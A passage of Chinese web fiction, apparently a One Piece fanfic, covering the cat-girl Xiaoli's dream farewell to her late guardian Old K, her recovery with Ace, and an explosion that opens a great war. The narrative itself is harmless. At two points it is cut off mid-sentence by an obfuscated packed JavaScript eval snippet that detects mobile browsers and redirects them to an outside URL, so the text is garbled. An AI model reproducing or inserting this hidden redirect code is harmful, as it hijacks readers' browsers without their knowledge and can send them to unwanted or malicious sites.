周围的景象开始了诡异的坍缩与重建。浓稠的黑暗如潮水般迅速褪去,取而代之的是中心城午后那过度清晰、甚至有些刺眼的街景。熟悉的银白色建筑棱角分明,人造阳光和煦得毫无瑕疵,街边的全息广告牌流淌着柔和的色彩。行人出现了,他们穿着得体,步履从容,脸上挂着统一规格的、弧度完美的友善微笑。但他们的目光缓慢又整齐地转向了小狸和星星所在的方向。不,更准确地说,是锁定在小狸身上。 那些微笑的眼睛里,没有焦点,没有温度,只有一种程式化的“欢迎”和“期盼”,像无数面打磨光滑的镜子,反射着同一种令人脊背发寒的“美好”。 “你有了梦寐以求的生活。”星星继续用那种平直的声音说道,她向前一步,周遭的空气像被搅动的水面般荡漾起透明的波纹。“一个归宿,一个家。没有歧视,没有痛苦,没有朝不保夕的恐惧。” 每一个词都像精心调制的蜜糖,甜腻地包裹上来,试图渗透进每一丝犹豫的缝隙。 空气的波动加剧了。中心城整洁的街景开始像被水浸泡的油画般扭曲、融化。那些微笑着的同学、店员、邻居……他们友善的面孔如同劣质墙纸般片片剥落,簌簌飘零,露出底下层层叠叠、模糊不清的底色。 它们拥挤着,蠕动着,像是从意识的深渊里浮出的梦魇,无声地张开嘴,发出嘈杂的、汇成一股的尖锐絮语: “这样不好么?”“你还不满足?”“这就是你想要的!”“留下!留下!留——下——!” 声音并不响亮,却试图钻透她的耳膜,直接植入她的脑海深处,与那些被刻意灌输的“美好记忆”融为一体。 小狸猛地抬起双手,死死捂住了还不太习惯长在脸两侧的耳朵,心脏在胸腔里沉重地搏动,一下,又一下,不是因为恐惧正在蔓延,而是名为理智的利剑正在刺破甜美的毒雾。 “不对……这不对。” 那些剥落、扭曲、重叠的面孔,像被一只无形的手粗暴地揉捏,最终定格、融合——重新汇聚成了老K的脸。 不是那个好好先生,而是她记忆深处、镌刻在灵魂里的那个老K:坐在吱嘎作响的机械轮椅上,右眼是闪烁红光的机械义眼,脸上布满油污和岁月刻下的沟壑,指间夹着一支燃着的、味道呛人的烟草。 小狸警惕地看着他,绷紧了身体,准备迎接更猛烈的说服、谴责,或者情感绑架。她已经在心里筑起了堤坝。 然而,老K只是深深地吸了一口烟,缓缓吐出灰白的雾气,甚至不合时宜地、带着点粗鄙的满足感感叹了一句:“啧……原来正儿八经的雪茄,是这个味道的。梦里倒是让我阔气了一回。” 小狸愣住了。 积蓄的力量仿佛打在了一团棉花上。她可以咬紧牙关对抗恶意的视线和尖利的话语,可以硬起心肠拒绝虚假的温情,却不知道该如何对待这个仿佛完全无视了她内心挣扎、只顾着沉浸在自己那口烟草带来的虚幻“享受”中的、熟悉的混蛋。 紧绷的肩膀微微松懈,她慢慢地滑坐在地上,就坐在老K的轮椅旁边。她抬起头,近乎贪婪又怀念地看着那张破碎却无比真实的脸。机械义眼的红光在昏暗中规律地、微弱地闪烁着,像这混乱崩溃的梦境世界里,唯一稳定的、令人安心的坐标。 “小混蛋。” 熟悉的、带着金属摩擦音质的称呼响起。 明明知道这是梦境,是奇怪能力制造的幻影,小狸的眼眶却瞬间不受控制地发热,视线模糊了一瞬。 “没想到能看到我吧?”老K弹了弹烟灰,动作熟稔,烟灰飘落在虚无的地面上,消失不见。他的语气平淡得像在讨论明天会不会下雨,带着一种事不关己的疏离,“我也没想到。我以为,你跟着那小子吃香喝辣,坐着大船满世界瞎逛,早就把我这老家伙忘进垃圾堆里了呢。” 没有。我没有。老K。我很想你。这句话堵在喉咙里,滚烫,灼痛,却发不出一点声音。她只能用力摇头,泪水随着动作甩落。 “在那边过得开心么?”老K斜睨着她,机械义眼的红光扫过她泪痕交错的脸,语气里听不出是调侃还是别的什么,“把我半辈子攒下的那点家底,开门送人的动作,很潇洒嘛。” ……你哪有什么积蓄。小狸在心里下意识地反驳,酸涩中涌起一点近乎想笑的冲动,你的那点家底都变成劣质酒精,装进你那个无底洞一样的肚子里了。 “哎呦,”老K像是真的听到了她无声的腹诽,扯了扯嘴角,露出一个有点狰狞却无比熟悉的笑容,“脾气见长啊,小混蛋。” 沉默了一瞬。梦境边缘的波动似乎停滞了,整个世界只剩下这个昏暗角落,和两个人之间无形流淌的、沉重而温暖的东西。 小狸低下头,看着自己交握的、在梦里显得过于干净光滑的手指,声音很轻,带着不确定和一丝小心翼翼的试探:“……老K。你不劝我留下么?” 留下,留在这个有你的、看似完美的梦里。 老K嗤笑一声,那声音短促而粗糙。他用力吸了最后一口烟,直到烟头的火星燃到滤嘴,然后精准地、随意地将烟蒂弹向不远处——那里明明空无一物,烟蒂却在空中划出一道微弱的弧线,消失在了虚无里。 “留你干嘛?”他语气满是不耐烦,“看见你,我就想到我那倒霉的、最后连门板都没剩下的诊所。快滚快滚,别在这儿碍眼。” 老K……小狸的心脏像是被这句话轻轻攥了一下,不疼,却酸软得厉害。 “我之前,”老K忽然转了话题,声音低沉了些,目光看向前方虚无的黑暗,不再与她对视,仿佛陷入了某种久远的回忆,机械义眼的红光也黯淡了一瞬,“送给你一个礼物。” 他顿了顿,像在斟酌词句,“……后来出了事,一直没机会告诉你。” 小狸疑惑地抬起头,泪眼朦胧地看着他冷硬的侧脸轮廓。 “我趁你睡着的时候,”老K说得轻描淡写,仿佛在说‘我吃了片面包’,“给你做了个小手术。唔,也不能算手术,就是……动了点小手脚。”他的机械手指无意识地在轮椅扶手上敲了敲,发出轻微的金属叩击声,“我把那群自以为是的学院派疯子给你刻上的‘基因锁’……撬松了,删改了一部分关键编码。” 小狸的眼睛瞬间瞪大了,蔚蓝的瞳孔里充满了难以置信的震惊。 “但如果不是我多此一举,”老K转过头,机械义眼的红光对准她,语气平静得近乎残酷,“你现在,已经死了。” ……什么? “怎么有人能……”小狸猛地站起来,声音因为震惊而拔高,又因为后续的信息而噎住,“……轻描淡写地说出趁别人睡着的时候给别人做手术啊!……等等,你刚才说什么?什么叫,我已经死了?!” “那个暗算你的混账,他的能力有点邪门。”老K解释道,语气里居然诡异地带着点科研人员式的、不合时宜的兴致,仿佛在分析一个有趣的病例,“似乎精准地牵扯到了你被那群实验室疯子编辑过的基因片段。本来,按照那群疯子最初的‘完美’设定,涉及基因层面的改动都会像一把特制的钥匙,直接插进锁孔,引发你整个基因链的崩溃连锁反应,嘎巴一下……”他用金属手指在空中做了一个干净利落的折断手势,声音冷酷,“……就完蛋了。干净,利落,无痛,说不定还算他们最后的‘仁慈’。” 他顿了顿,那只完好的左眼微微眯起,像是在回忆复杂的操作细节,机械手指无意识地、反复摩挲着轮椅扶手上某处经年的划痕。 “这个时候,还得是我这个野路子。”他哼了一声,那机械义眼的红光似乎都因为这份“专业自豪”而短暂地明亮、闪烁了一瞬“我当年改动的地方,歪打正着,形成了一层……嗯,算是生物防火墙?把它试图引发的那个特定崩溃指令给干扰、错开了,导流到了无害的冗余片段里。”他的语气里带着一种混不吝的得意,“我说不定,还真是个天才。” 小狸呆呆地听着,信息量过于巨大,让她一时无法处理。原来,原来老K不止给了她一个名字,一个容身之处,还在她不知道的时候,用他那种离经叛道、粗粝却有效的方式,偷偷地、永久地,给了她一道对抗既定命运的保险?一道生还的可能? 老K…… “可别掉眼泪啊。”老K立刻嫌恶地别过脸,“老子对眼泪过敏。快滚吧,小混蛋。梦做完了,就赶紧醒。老子不想再看到你了,看得心烦。” 小狸瘪着嘴,把喉咙里翻涌的哽咽和眼眶里打转的热意狠狠憋了回去。她不想在他面前哭,至少这最后一次“见面”,不要。 “我才是!”她赌气般喊道,声音带着浓重的鼻音,却努力撑起气势,“不想再看到你了!铁公鸡!庸医!脾气臭得要死的老混蛋!” 老K佝偻的、冰冷的机械背影似乎几不可查地僵硬了一下,又或许,那只是光影的错觉。 小狸低下头,颤抖的手指摸索着,从自己颈间衣领里,珍而重之地拉出那条一直贴身戴着的、链子已经有些发暗、吊坠也磨损了边角的旧项链——那是老K留在这世上、她唯一拥有的、实质意义上的遗物,是她与那段锈带岁月最后的、温热的联结。 “你的项链,”她轻声说,指尖无比温柔地摩挲着那冰凉的、带着她体温的金属吊坠,仿佛上面还残留着老K手指的粗糙触感和机油味,“我保护得好好的。老K。” 她顿了顿,积压在心底太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941789|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久、以为再无机会说出口的话,终于在这个由幻觉和记忆编织的、荒诞的梦境缝隙里,找到了一个似是而非、却无比珍贵的出口。哪怕对象只是一个即将消散的幻影。 “之前的我……不懂那些复杂的情感。现在有现在有机会,能再见你一面,真是太好了。” 她的声音渐渐稳了下来,一种由内而生的、温暖而坚定的力量,开始驱散梦境的虚浮。 “我过得很好。船上的大家,都很友善。我有了新的家人……很多很多。”她一个一个数着,声音温柔又柔软,“老爹、马尔科先生、萨奇、以藏、乔兹师傅……大家都对我很好。” 她的脸颊微微泛起红晕,声音不自觉地轻了下去,却又异常清晰、坚定,带着少女独有的羞涩和不容置疑的珍重: “我也有了……”她深吸一口气,像是在积蓄宣告的勇气,“……喜欢的人。他叫艾斯。虽然是个笨蛋,总是让人担心,莽莽撞撞,睡相差,吃相也糟糕……” 她数落着,嘴角却控制不住地上扬,眼底漾开柔波,“但他身上很暖,笑起来像太阳……他对我很好,很重要。” 前方,老K的背影一动不动,仿佛一尊锈蚀的金属雕塑。只有轮椅内部机械部件运转发出的微弱嗡鸣,证明着这幻影尚未完全消散。 “你是在向我炫耀么,小混蛋?”他的声音传来,闷闷的,听不出情绪,“向一个收留了你的、现在已经死透了的孤寡老人?” 小狸的眼泪终于还是没忍住,一滴,滚烫的,砸在她紧握着项链吊坠的手背上。但她没有哭出声,只是用袖子狠狠地、胡乱地抹了一把脸,把湿润和狼狈都擦去。 “老K……”她看着那个佝偻的、冰冷的、却承载了她最初“家”的概念的机械背影,用尽全身的力气,也仿佛用尽了与这段过去告别的所有勇气,说出了那句迟到太久、或许永远无法真正传递到对方耳中的话。 “我一直没有机会和你说。其实……早就想告诉你了。” “你也是我最重要的,”她清晰地、一字一顿地,将这句话铭刻在梦境与记忆的交界, “家人。” 轮椅那令人牙酸的“吱嘎”声,停了。 梦境陷入了几秒钟死寂般的、近乎凝固的沉默。连边缘的波动都仿佛静止。 “别在这儿煽情了,小混蛋。”老K的声音终于再次响起,带着一贯的、不耐烦的驱赶意味,但那粗糙的嗓音底下,似乎有什么东西不一样了,像冰层下悄然流动的暖流,“该醒了。不然那个小子,怕是要急疯了。” “快滚吧。”老K没有回头,只是背对着她,用力地、随意地挥了挥他那布满油污和金属划痕的机械手,像在驱散烟雾,也像在斩断最后的牵连。 小狸最后深深地、深深地看了一眼那个烙印在灵魂深处的背影,仿佛要将每一道锈迹、每一寸轮廓都刻进眼底。然后,她毅然转身,不再回头,朝着远处那道逐渐变得清晰、温暖的光亮,奔跑起来。 风在耳边呼啸,梦境的碎片在身后剥落。就在她的指尖即将触及那令人安心的、属于现实的光芒的刹那—— 那个熟悉的、沙哑的、带着独特金属摩擦质感的嗓音,最后一次在她身后,在那片即将彻底消散的黑暗与回忆中响起?很轻,却无比清晰地钻入她的耳中: “……去自由的,享受你的人生吧。” 短暂的停顿,仿佛一声叹息融化在光里。 然后,是两个清晰无比、卸下所有伪装与隔阂的字节: “小狸。” 光芒吞没了她。 在意识被温暖的洋流包裹、拉回沉重却真实的躯体的最后一瞬,已经大半个身子没入光中的少女,用尽梦境中残存的全部力气,朝着身后那片迅速坍缩、化作虚无的黑暗,喊出了心底最深的眷恋: “我一直一直,一直都想好好的和你告个别!我真的很想你——!!!” 少女转过身,泪水奔流,却对着那片已几乎看不见的黑暗,绽放出一个混合着泪水、却无比明亮、灿烂、发自灵魂深处的甜甜笑容,仿佛要将这些年未曾说出口的所有依赖与爱,都倾注在这个笑容里。 “谢谢你……” 她轻声说,声音如同梦呓,却带着斩断枷锁的释然与新生般的轻盈。 “爸爸。” 那个坐在吱嘎作响的轮椅上、佝偻的、冰冷的机械背影,在光芒完全闭合、梦境终结的最后一帧画面里,似乎,极其轻微地,几乎无法被察觉地,向下点动了一下。 接着,连带着那残存的一抹轮廓,连同整个由诡异能力编织的、美好而残酷的虚幻牢笼,化作闪烁着微光的金色光尘,彻底地消失在了意识回归的甬道尽头,再无痕迹。 现实的海浪声、焦急的呼唤、熟悉的温度,正在前方,将她拥入真实的怀抱。 63. 征兆 意识如同蒙着一层厚厚的雾,沉重而模糊,身体像是被拆开重组过一样酸软无力。小狸花了足足好几秒才勉强聚焦视线,映入眼帘的是陌生的天花板和艾斯焦急却带着喜悦的声音 “小狸!?小狸你醒了?!” 她用力地眨了眨眼,视野终于艰难地聚焦。首先清晰的是那双紧紧抓着她左手的、骨节分明的大手,握得那么用力,甚至有些发疼,却传递着不容错辨的滚烫体温和战栗的紧张。视线顺着那双手往上,最终落在那张凑得很近的脸上。 是艾斯。但又不是她平时熟悉的那个总是笑得没心没肺、仿佛有用不完精力的艾斯。他眼圈周围有着明显的青黑色阴影,下巴冒出了一层短短的、略显凌乱的胡茬,嘴唇有些干裂。他看上去糟透了,那双总是燃烧着火焰般活力的黑眸里,此刻布满了猩红的血丝,眼神混杂着疲惫、恐慌,以及在她睁眼瞬间迸发出的的巨大喜悦。 “……艾斯?” 她开口,声音干涩得像是砂纸摩擦,喉咙里带着高烧后的肿痛和虚弱。 “对!没错,是我……小狸,你真的……要吓死我了……” 艾斯的声音哽了一下,小心翼翼却又无比珍重地将她依旧无力的手捧起,低下头,将额头轻轻抵在她的手背上。这个动作充满了依赖和后怕,她能清晰地感受到他额头的温度,以及那细微的、克制的颤抖。“你睡了两天,怎么叫你也没有反应……我给马尔科打了电话,他说你身体在恢复,但就是醒不过来……太好了…真是太好了……” 他反复呢喃着“太好了”,声音闷在她的手背上,带着劫后余生般的沙哑。 已经……过去两天了么?小狸混沌的脑子缓慢地处理着这个信息。也就是说,那个漫长的、与老K告别的梦境,让她在现实里昏睡了整整四十八个小时。而艾斯……就一直这样守着她吗? 没来得及思考更多,一阵极其清晰、甚至带着点空荡荡回音的“咕噜——”声,从她的腹部传来,打破了这沉重又温情的氛围。 小狸:“……” 艾斯:“……” 两人面面相觑。小狸苍白的脸颊以肉眼可见的速度泛起一丝尴尬的红晕,她下意识地想蜷缩一下,却没什么力气。而艾斯在短暂的错愕后,像是被这过于生活化、又过于“小狸式”的唤醒信号逗乐了,紧绷了整整两天的神经骤然一松,忍不住低低地笑出了声。那笑声起初还有些干涩,随即变得畅快起来,驱散了眉眼间积压的阴霾。 “毕竟,毕竟我已经两天没吃东西了嘛……又不是我的错……” “看来是真醒了。”艾斯笑着,用指腹轻轻抹去她眼角不知何时渗出的一点生理性泪水,动作温柔得不可思议。“等着,我马上回来。” 他再次仔细确认她除了虚弱没有其他不适,才依依不舍地松开手,给两天没吃东西的小猫和他自己找点东西吃。那背影,除了急切,竟也透出一种终于能切实为她做点什么的、如释重负的轻快。 确认自己除了虚弱并无大碍后,她挣扎着从床上爬出来,决定先洗个热水澡,洗去一身黏腻。 当她顶着一头湿漉漉的、还在往下滴水的黑色长发,用一块大毛巾胡乱揉搓着发梢,光着脚踩在木地板上走出浴室时,艾斯已经回来了。 他正坐在窗边的小桌旁,嘴里有些心不在焉地叼着一片烤面包,手里拿着的却不是食物,而是一张画着简单线条和标记的、看起来颇为简陋的手绘海图,眉头微蹙,似乎正在思考什么。 听到脚步声,艾斯立刻抬起头。看到她出来,他几乎是瞬间将手里的海图随意折起塞进怀里,同时把嘴里叼着的面包拿下来,迅速将桌上另一份明显精心摆放过的早餐往她这边的位置推了推——一碗冒着袅袅白烟、香气醇厚的汤,两片烤得焦脆的吐司和一枚水煮蛋。 “感觉怎么样?好些了么?”他问,声音里还残留着守夜的疲惫沙哑,但望向她的眼神已经恢复了平日的温和与专注。那低沉的、带着些许砂砾质感的嗓音,落在小狸格外敏感的耳中,不知为何,竟像带着微弱的电流,轻轻搔刮过心尖,带来一丝莫名的悸动和痒意。 小狸只觉得耳根后面、被黑色绒毛覆盖的皮肤微微发烫,那条在她身后无意识摆动的黑色长尾也略显僵硬地停顿了一下,才继续小幅度地、有些不自在地轻轻甩动。她垂下视线,盯着自己的脚尖,小声应道:“嗯……好多了。” 声音比刚才润泽了一些,但仍带着病后的软糯。 她乖乖走到艾斯身边的位置坐下,双手捧起那碗还烫手的浓汤,小口小口地吹着气,然后谨慎地啜饮。汤的味道很温和,带着蔬菜的清甜和一点点鸡肉的鲜美,恰到好处地抚慰着空荡荡的胃袋。 艾斯很自然地伸手,拿过她挂在脖子上、已经有些潮湿的干毛巾,接替了她那毫无章法的胡乱揉搓,动作熟稔而轻柔地开始帮她擦拭长发。他的手指力道适中,隔着毛巾按摩着她的头皮,偶尔指尖会不经意地碰到她的耳廓或后颈的皮肤,带来一阵阵令人安心又微微颤栗的触感。 小狸舒服地眯起了眼睛,温暖的食物入腹,加上艾斯温柔的照顾,让她的精神一点点被熨帖、修复,但小猫可不会一直这么老实 她忽然故意像只洗完澡后甩水的小猫一样,快速地、幅度很大地晃了晃脑袋,把发梢积聚的水珠,精准地甩向身旁艾斯的胸口和手臂。 艾斯猝不及防,胸前的衬衫瞬间洇开几片深色的水渍,手臂上也挂上了冰凉的水珠。他动作一顿,低头看了看自己湿掉的衣襟,又抬头看向歪着头、睁着一双看似无辜的蓝眼睛、实则眼底闪烁着狡黠笑意的小狸,脸上露出了一个混合着无奈、纵容的哭笑不得的表情。 “坏猫。”他伸手,不轻不重地捏了捏她那对因为得意而微微抖动、尖端绒毛都竖起来的黑色猫耳,作为微不足道的“惩罚”。 指尖传来的温热和略带粗糙的触感,让那对耳朵敏感地向后撇了撇,又很快恢复原状。小狸得逞地偷偷笑了起来,像只成功引起了主人注意、干了坏事还得意洋洋的小猫。 病后的虚弱感似乎剥离了一些平日的羞赧和顾忌,让她比平时更加慵懒、坦诚,也更依赖艾斯的存在。吃完早餐,暖意和饱足感催生了浓浓的倦意,但她不想去床上,也不想离开艾斯身边。于是,她索性顺从了此刻最本能的渴望——光芒微闪,她轻盈地变回了那只通体漆黑的小猫,几步助跑,灵巧地跳上艾斯的膝盖,在他怀里踩了几圈,找到一个最舒适温暖的位置,团成毛茸茸的一团。 艾斯低头看着怀里这团自动送上门的、温热柔软的小毛球,眼底的纵容几乎要满溢出来。他伸出食指,轻轻挠了挠小猫的下巴和耳后。 小黑猫立刻发出细微的、愉悦的“呼噜”声,眯着眼睛,伸长了脖子迎合他的抚摸,甚至伸出带着细小肉刺的粉色舌头,舔舐着他带着薄茧的指腹,偶尔会含住他的指尖,用完全没有用力、只是轻轻合拢的乳牙象征性地啃咬磨蹭,仿佛把这当成了和亲密同伴之间的嬉闹游戏。 变成猫形时,小狸总会不自觉地流露出更原始、更直白的天性——更大胆地索求亲昵,更坦率地表达占有欲。她小小的身体却固执地压住艾斯的腿,尾巴也圈过来搭在他手腕上,无声的表达“不许走”。当艾斯看她似乎睡着了,想轻轻把她抱到旁边铺了软垫的椅子上时,她会立刻惊醒,然后假装自己只是一只完全听不懂人话、只想待在原地的任性小猫,对着那只试图把她挪开的“坏蛋手”发起“攻击”——不是真的咬,而是用牙齿轻轻叼住他的手指,喉咙里发出不满的、低低的呜咽,然后用带着倒刺的舌头敷衍地舔两下,仿佛在说“原谅你了,但不准再动了”。 艾斯被这位格外黏人、又带着点小脾气的小病号磨得完全没了办法,只好放弃起身的打算,调整了一下姿势,让她躺得更舒服。整个上午,他们就那么窝在窗边那张不算宽敞的旧扶手椅里。艾斯背靠着椅子,一条腿曲起,让小狸能安稳地窝在他腿和腹部形成的温暖凹陷里。他的手有一下没一下地、极其轻柔地抚摸着怀中小猫光滑如缎的背毛,指尖偶尔梳理过那条总是悠闲地、如同拥有独立意识般缓缓摆动的黑色长尾。 阳光从窗户斜射进来,暖融融地包裹着他们,在木地板上投下一大一小两个紧密依偎的影子。窗外是陌生小镇偶尔传来的、模糊而遥远的喧嚣,反而更衬托出这一方小天地的安宁与静谧。 在这样全然放松、心神毫无防备的时刻,小狸看着艾斯被阳光勾勒出柔和光边的侧脸轮廓,看着他垂眸时显得格外纤长的睫毛,闻着他身上令人安心的、如同冬日篝火般干燥温暖的气息,那个在梦境最后对老K倾诉的秘密,再次悄然浮上心头。 她犹豫了一下,在他轻柔的抚摸下,用带着些许沙哑、但清晰的少女声音,缓缓地、断断续续地开始讲述那个“很长很长的梦”。她讲了那个完美的中心城,讲了变得温和陌生的老K,讲了那些试图让她留下的声音和面孔,讲了最后那个锈带角落里的告别……但她小心翼翼地隐藏了自己对老K形容艾斯是“笨蛋”、“像太阳”、“很重要”的部分,也隐去了自己最后那句“喜欢的人”的宣告。 光是回想那些描述,即使只是在心里,就让她觉得脸颊又开始不受控制地发烫。幸好,现在自己是只小猫,厚厚的黑色毛发完美地掩盖了底下皮肤可能泛起的红晕。她把脸更深地埋进艾斯的衣服里,只露出一双滴溜溜转的蓝眼睛。 艾斯安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941790|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静地听着,抚摸她的动作一直没有停。他能感觉到怀里的小小身体在讲述最后部分时那细微的颤抖,那不是恐惧,而是一种深沉的、释然的悲伤与告别。 “……都过去了,小狸。”他最终低声说,用指尖珍重又温柔地捏了捏她毛茸茸的爪子,像是一个无声的承诺和安慰,“你做得很好。现在,我们都在这里。” 小狸感受着他指尖传来的温度和力量,心里那个念头却愈发清晰、躁动起来。 是不是……可以挑个时间,把告诉老K的话,也告诉他呢? 这算是……表白吧? 艾斯他……不会拒绝我的吧?他对我那么好…… 可是,万一呢?万一他只是把我当妹妹,当需要照顾的小猫呢? 他要是敢拒绝我……我就、我就再也不要理他了! 所以……什么时候比较好呢?要挑个他高兴的时候?还是像现在这样安静的时候? 纷乱的思绪让她在他怀里不自觉地微微动了动,尾巴尖也无意识地加快了点甩动的频率。 又休整了一天后,小狸的精神明显好了很多,艾斯发现她虽然不知道在想什么看着他的目光有些躲闪,但脸色确实红润起来后便将这归结于她病后初愈的些许不自在,见她气色确实好转,总算稍稍放下心来。 既然有了线索,先前因为小狸突发状况而中断的工作,不能再耽搁了。艾斯摊开海图研究,考虑到周边还有几个海贼活动频繁、消息相对灵通的小岛,且距离这个临时落脚点都不算远,乘小船快则半天,慢则一天也能往返。小狸的身体虽然好转,但显然还不适合立刻进行可能遭遇战斗的奔波。 沉吟片刻,艾斯做出了决定。 他收起海图,走到床边,蹲下身,让自己的视线与小狸齐平。“小狸,我打算再去附近的岛屿探查一下,看看有没有蒂奇的线索。”他的声音沉稳,但眼神里带着商量和一丝不易察觉的歉意,“不会去很久,我会尽快回来。你……乖乖留在这里休养,能答应我吗?” 小狸正坐在床边,穿着属于艾斯的稍大的宽松衬衫,赤着的双脚在空中无意识地轻轻晃动着。听到他的话,晃动的脚停了下来。她当然不想和他分开,哪怕只是一天。但她也清楚,自己现在的状态,跟着去不仅帮不上忙,反而可能成为他的累赘,拖慢他的脚步。 她抬起头,看向艾斯近在咫尺的、写满认真与担忧的脸庞。阳光从他身后的窗户照进来,给他黑色的发梢镀上一层金边。那一刻,她忽然下定了决心。 就等他回来。等他回来,安全回来的时候,就告诉他。 她用力地点了点头,眼神变得异常坚定和明亮,语气也带着一种下定决心的郑重:“嗯!我可以照顾好自己!艾斯……” 她停顿了一下,脸颊微红,但目光毫不退缩地直视着他,“等你回来,我有话要和你说,所以你一定要快点回来哦!” 艾斯看着她认真的样子,虽然不知道她又在想什么鬼主意,但还是忍不住又揉了揉她的头发,笑容爽朗:“好,我保证快去快回,绝不让我的小猫等太久。” 他站起身,又检查了一下房间里她可能需要的东西是否都在触手可及的地方,然后才转身,走向房门。小狸望着他挺拔的背影,看着他抬手握住门把,准备拉开 就在那一刹那,一股强烈到让她心脏骤然缩紧的不安感狠狠地攫住了她的心脏 “艾——!” 她的嘴唇张开,那个名字几乎要冲破喉咙,化为一声拼尽全力的挽留。 然而,声音却卡在了舌尖。 理智的丝线在最后一刻拉扯住了她:他是有正事要办,自己不能这么任性。这只是病后虚弱的错觉吧?是分离焦虑吧?他那么强,只是去附近侦查一下,很快就会回来的…… 房门轻轻合拢,隔断了他的身影,也仿佛隔断了某种无形的联结。 小狸僵坐在床边,突然感到一阵彻骨的寒意和空虚,不由自主地抱紧了自己的膝盖,将脸埋了进去。 ——这之后的无数个恍惚的日夜,小狸都会回到这个瞬间。她会用尽全身力气去痛恨、诅咒自己此刻那该死的、优柔寡断的“理智”,痛恨自己为什么没有遵从直觉呐喊出声,痛恨自己为什么没有扑上去死死抓住他的衣角,哪怕撒泼打滚、哭闹不休,也要把他留下,或者坚持跟他一起去…… 没有人能想到,也无人能够预料。 这一次看似寻常的、充满温情承诺的短暂分别,那个她下定决心要在他归来时倾诉心事的约定,竟会被命运的洪流彻底碾碎。 这竟是那场即将席卷整个世界、撕裂大海的平衡、烧尽无数生命与梦想的世纪大战——顶上战争的开端 64. 暗流 因为艾斯用那样明亮的笑容承诺了“快去快回”,小狸也做好了只分开一天、最多两天的心理准备。这短暂的分离像是一次小小的、带着甜蜜期待的考验,她甚至在心里悄悄规划起他回来后的“那个时刻”。感觉身体在充足的休息和安宁中恢复了不少气力,不再那么虚弱,她便决定走出暂时落脚的小旅馆,去镇上转转,也买点东西。 这个位于伟大航路支流上的小镇,如同许多类似的岛屿港口一样,鱼龙混杂,空气中漂浮着海盐、鱼腥、尘土和隐约的火药混合的复杂气息。街道不算宽敞,人们的面孔也各不相同,有水手、商人、本地居民,也不乏一些眼神桀骜、身上带着伤疤或明显海贼装扮的人物。 这片海域的势力版图像被打碎的拼图,错综复杂,暗流涌动。远处海面上偶尔会传来沉闷的、如同滚雷般的火炮轰鸣,有时甚至能看到天际线处一闪而过的炮火亮光,或升腾起的细小烟柱。但镇上的居民似乎早已习以为常,该摆摊的摆摊,该喝酒的喝酒,只是偶尔会停下动作,侧耳倾听一下炮声的远近,脸上掠过一丝评估风险的谨慎,然后又继续手头的事情。混乱是这里的背景音,他们要做的只有生存这一件事而已。 所幸,小狸手臂上那个代表着白胡子海贼团的刺青和凶星的名头,如同无形的护身符,足以震慑绝大多数心怀不轨的宵小。那些不怀好意的打量目光,在触及那个标志时,往往会迅速收敛,转为忌惮或干脆移开。她得以在这略显危险的边缘地带,保有了一方相对安宁的行走空间。 她好奇地打量周围,最后在一家不算起眼、但窗台上摆满了生机勃勃盆栽的小花店前停下了脚步。店主只是在她进门时抬眼看了看她臂上的刺青,眼神动了动,没说什么。 小狸的目光被一桶开得正盛、金灿灿的向日葵吸引住了。那些花朵有着粗壮毛茸的茎秆和硕大饱满的花盘,每一片花瓣都尽情舒展着,朝着店里唯一的小天窗方向,仿佛在努力捕捉每一缕珍贵的阳光。它们的颜色是那么纯粹、明亮、充满活力,像凝固的小太阳,一瞬间就照亮了她有些忐忑期待的心。 她精心挑选了几支最新鲜、姿态最好的,抱在怀里。沉甸甸的花束带来一种实在的幸福感,馥郁的、带着青草和阳光味道的香气萦绕在鼻尖。 抱着花束走出花店,午后的阳光暖洋洋地洒在身上。小狸低下头,脸几乎要埋进那一片金黄灿烂里,心里甜滋滋的,像化开了一小罐温热的蜂蜜。她忍不住开始想象艾斯回来时的情景: 他看到这束花会是什么表情?会笑吧?一定会露出那种有点傻气、却比阳光还耀眼的笑容。 自己该怎么说呢?直接说“我喜欢你”?还是……委婉一点? 要不要再准备一顿稍微精致点的晚餐?不过艾斯那个狼吞虎咽的吃相……算了算了,还是量大管饱比较实际,不然他肯定又要喊着没吃饱了…… 啊,好紧张…… 纷乱的、带着羞涩和甜蜜的思绪在她脑海里飞舞,还没来得及理出个头绪—— “轰——!!!!!!” 一声异常剧烈、沉闷到仿佛从地心深处炸开、又瞬间撕破天空的巨响,毫无征兆地从巴纳罗岛的方向狂暴地席卷而来! 那声音的规模远超平时海上冲突传来的、习以为常的炮火声。它更像是什么庞然巨物被彻底摧毁的哀鸣,或是两股毁灭性力量正面冲撞的怒吼!紧随其后的,是地面清晰可辨的、令人心悸的震颤!小狸脚下的石板路仿佛活了过来,剧烈地抖动了一下,让她差点没站稳。 几乎在同一瞬间,一股肉眼可见的、混杂着尘埃和灼热气浪的冲击波,海啸般横扫过海面,扑上了岸! “呜——!” 狂风凄厉地咆哮着,瞬间冲翻了路边许多轻便的摊贩支架,锅碗瓢盆、水果蔬菜、布料杂物稀里哗啦地滚了一地。街道上的人群如同被狂风刮倒的麦子,惊呼着、尖叫着摔倒了一片,咒骂声、哭喊声、物品破碎声瞬间炸开! 小狸下意识地死死护住怀里的向日葵,另一只手按住被狂风吹得疯狂飞舞、几乎遮住视线的黑色长发。她踉跄着后退两步,背靠在一家店铺粗糙的砖墙上,才勉强稳住身形。心脏在胸腔里疯狂地、失序地狂跳,仿佛要挣脱肋骨的束缚。 